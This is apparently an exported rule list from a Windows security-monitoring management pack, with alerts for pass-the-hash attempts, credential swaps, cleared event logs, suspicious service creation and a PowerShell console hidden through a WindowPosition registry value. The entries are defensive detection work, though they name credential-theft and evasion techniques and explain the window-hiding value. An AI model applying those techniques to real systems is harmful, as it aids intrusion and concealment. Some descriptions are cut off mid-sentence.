Security Monitoring Forwarded Events: A suspicious process creation (malicious use of WindowPosition with PowerShell) was executed	See: https://technet.microsoft.com/en-us/library/cc957410.aspx The WindowPosition value specifies the position of the command window on the user's screen. The value of this entry is an 8-byte hexadecimal value. The first four bytes (high word) represent the position of the window on the X (horizontal) axis. The last four bytes (low word) represent the position of the window on the Y (vertical) axis. When the WindowPosition value is set to 201329664, (Hex: 0x0c00 0c00) this places the console in a non-visible section of the user’s screen (where X axis=0c00 and the Y axis=0c00) in an area that is hidden from view below the visible start menu/taskbar Other console apps that can be modified to make the screen non-visible	SecurityMonitoringMP.ForwardedEvents.4688.SuspiciousWindowsPosition	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	4688		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: Potential Credential Swap in Progress		SecurityMonitoringMP.ForwardedEvents.CredentialSwap	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	0		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: Local User Created or Deleted in Administrator Security Group		SecurityMonitoringMP.ForwardedEvents.LocalUserCreatedDeleted	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	0		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: Prohibited App in Use		SecurityMonitoringMP.ForwardedEvents.ProhibitedApp	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	8003		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: Possible PtH Attack in Progress Against Tier 2		SecurityMonitoringMP.ForwardedEvents.PtHTier2	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	False	0		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: Security log cleared on a server configured to forward events		SecurityMonitoringMP.ForwardedEvents.SecurityLogCleared	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	1102	Microsoft-Windows-Eventlog	True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: Service Created on system		SecurityMonitoringMP.ForwardedEvents.ServiceCreation	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	False	0		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: Service associated with a known threat was created on a forwarding computer		SecurityMonitoringMP.ForwardedEvents.ServiceCreationKnownThreats	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	7045		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: Special Group logon event		SecurityMonitoringMP.ForwardedEvents.SpecialGroupLogon	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	0		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: System Log was Cleared		SecurityMonitoringMP.ForwardedEvents.SystemLogCleared	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	104	Microsoft-Windows-Eventlog	True	Error	Normal	True	ForwardedEvents
GPO Change Event then run correlation script Rule		SecurityMonitoringMP.GPOMonitoring.EventAndScript.Rule	Microsoft.Windows.Server.DC.Computer	Custom	True	0		True	Error	Normal	True
Security Monitoring: Potential Credential Swap in Progress		SecurityMonitoringMP.Pth.CredentialSwap	Microsoft.Windows.Server.OperatingSystem	Alert	True	0		True	Error	Normal	True	Security
Security Monitoring: Possible PtH attack in progress (successful) against DC		SecurityMonitoringMP.Pth.PtHAgainstDC	Microsoft.Windows.Server.DC.Computer	Alert	False	0		True	Error	Normal	True	Security
Security Monitoring: Possible PtH Attack in Progress against tier 1		SecurityMonitoringMP.Pth.PtHAgainstTier1	Microsoft.Windows.Server.OperatingSystem	Alert	False	0		True	Error	Normal	True	Security
Security Monitoring Threat Hunting: Batch Logon in use	This rule checks the security log for event ID 4624 Logon Type 4. Logon type 4 is a batch logon, which essentially means that there are exposed credentials on this system. Investigation should determine which application is using said credentials. Once the applications are remediated, batch logons can be disabled, making your environment more secure.	SecurityMonitoringMP.ThreatHunt.BatchLogonInUse	Microsoft.Windows.Server.OperatingSystem	Alert	False	0		True	Error	Normal	True	Security
Security Monitoring Threat Hunting: Special Group logon event	This rule will not generate any noise under normal environment. It requires special groups auditing turned on via GPO as well as the specific memberships to be targeted in the registry. If you've done these tasks, this monitor will alert every time a user that is a member of these	SecurityMonitoringMP.ThreatHunt.SpecialGroupLogon	Microsoft.Windows.Server.OperatingSystem	Alert	True	0		True	Error	Normal	True	Security